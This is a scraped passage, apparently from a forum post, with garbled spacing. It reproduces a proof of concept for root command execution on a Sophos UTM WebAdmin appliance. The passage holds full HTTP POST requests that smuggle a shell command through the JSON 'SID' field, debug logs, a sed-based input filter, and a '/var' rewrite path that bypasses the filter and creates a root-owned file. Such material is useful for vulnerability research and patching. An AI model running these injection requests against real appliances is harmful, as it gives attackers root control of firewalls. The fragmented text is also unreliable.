/ t m p / / v a r / l o g / c o n f d - d e b u g . l o g / v a r / l o g / w e b a d m i n . l o g . . . S I D 0 o u c h   / t m p / p w n e d . . .   h t t p d - w e b a d m i n . c o n f / v a r / c h r o o t - h t t p d / e t c / h t t p d / v h o s t / v a r / c h r o o t - h t t p d / e t c / h t t p d / v h o s t / h t t p d - w e b a d m i n . c o n f : 6 4 - 6 7   H T T P   w e b a d m i n . p l x I n p u t S e d " S I D " : " | J S O N   " S I D " : " 0 .     r e g e x 1 0 1 . c o m   H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 7 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 2 7 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n { " o b j s " :   [ { " F I D " :   " i n i t " } ] ,   " S I D " :   " | t o u c h   / t m p / p w n e d | " ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 9 2 1 0 6 7 5 6 3 9 _ 0 . 5 0 0 0 8 5 5 1 1 7 4 8 8 2 0 2 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } #   l s   - l   / t m p / p w n e d l s :   c a n n o t   a c c e s s   / t m p / p w n e d :   N o   s u c h   f i l e   o r   d i r e c t o r y 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :   D   A s t a r o : : R P C : : s e r v e r _ l o o p : 1 7 8 ( )   = >   m e t h o d :   n e w   p a r a m s :   $ V A R 1   =   [ 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                       { 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                           ' S I D '   = >   ' 0 o u c h   / t m p / p w n e d ' , 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                           ' a s g _ i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 ' , 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                           ' i p '   = >   ' 1 9 2 . 1 6 8 . 5 0 . 1 7 8 ' 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                       } 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :                   ] ; 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   c o n f d [ 5 3 7 5 ] :   < = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] :   | = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] :   W   N o   b a c k e n d   f o r   S I D   =   0 o u c h   / t m p . . . 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] : 2 0 2 1 : 0 8 : 1 7 - 1 6 : 4 5 : 3 0   s o p h o s 9 - 5 1 0 - 5 - 1   w e b a d m i n [ 5 2 7 2 ] :     1 .   m a i n : : t o p - l e v e l : 2 2 1 ( )   a s g . p l x < L o c a t i o n M a t c h   w e b a d m i n . p l x >                 A d d I n p u t F i l t e r   s e d   p l x                 I n p u t S e d   " s / " S I D " [   t ] * : [   t ] * " [ ^ " ] * | [   t ] * / " S I D " : " 0 / g "         < / L o c a t i o n M a t c h >
. . . . . . w e b a d m i n . p l x / v a r / c h r o o t - h t t p d / e t c / h t t p d / v h o s t / h t t p d - w e b a d m i n . c o n f : 1 2 / v a r   H T T P   / w e b a d m i n . p l x   r o o t     S o p h o s   U T M     R C E : R e w r i t e R u l e   ^ / v a r   / w e b a d m i n . p l x P O S T   / v a r   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 5 0 . 1 7 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( X 1 1 ;   U b u n t u ;   L i n u x   x 8 6 _ 6 4 ;   r v : 9 1 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 9 1 . 0 A c c e p t :   t e x t / j a v a s c r i p t ,   t e x t / h t m l ,   a p p l i c a t i o n / x m l ,   t e x t / x m l ,   * / * A c c e p t - L a n g u a g e :   e n - U S , e n ; q = 0 . 5 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e X - R e q u e s t e d - W i t h :   X M L H t t p R e q u e s t X - P r o t o t y p e - V e r s i o n :   1 . 5 . 1 . 1 C o n t e n t - t y p e :   a p p l i c a t i o n / j s o n ;   c h a r s e t = U T F - 8 C o n t e n t - L e n g t h :   2 2 7 O r i g i n :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 C o n n e c t i o n :   c l o s e R e f e r e r :   h t t p s : / / 1 9 2 . 1 6 8 . 5 0 . 1 7 / S e c - F e t c h - D e s t :   e m p t y S e c - F e t c h - M o d e :   c o r s S e c - F e t c h - S i t e :   s a m e - o r i g i n { " o b j s " :   [ { " F I D " :   " i n i t " } ] ,   " S I D " :   " | t o u c h   / t m p / p w n e d | " ,   " b r o w s e r " :   " g e c k o _ l i n u x " ,   " b a c k e n d _ v e r s i o n " :   - 1 ,   " l o c " :   " " ,   " _ c o o k i e " :   n u l l ,   " w d e b u g " :   0 ,   " R I D " :   " 1 6 2 9 2 1 0 6 7 5 6 3 9 _ 0 . 5 0 0 0 8 5 5 1 1 7 4 8 8 2 0 2 " ,   " c u r r e n t _ u u i d " :   " " ,   " i p v 6 " :   t r u e } #   l s   - l   / t m p / p w n e d - r w - r - - r - -   1   r o o t   r o o t   0   A u g   1 7   1 7 : 0 7   / t m p / p w n e d
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则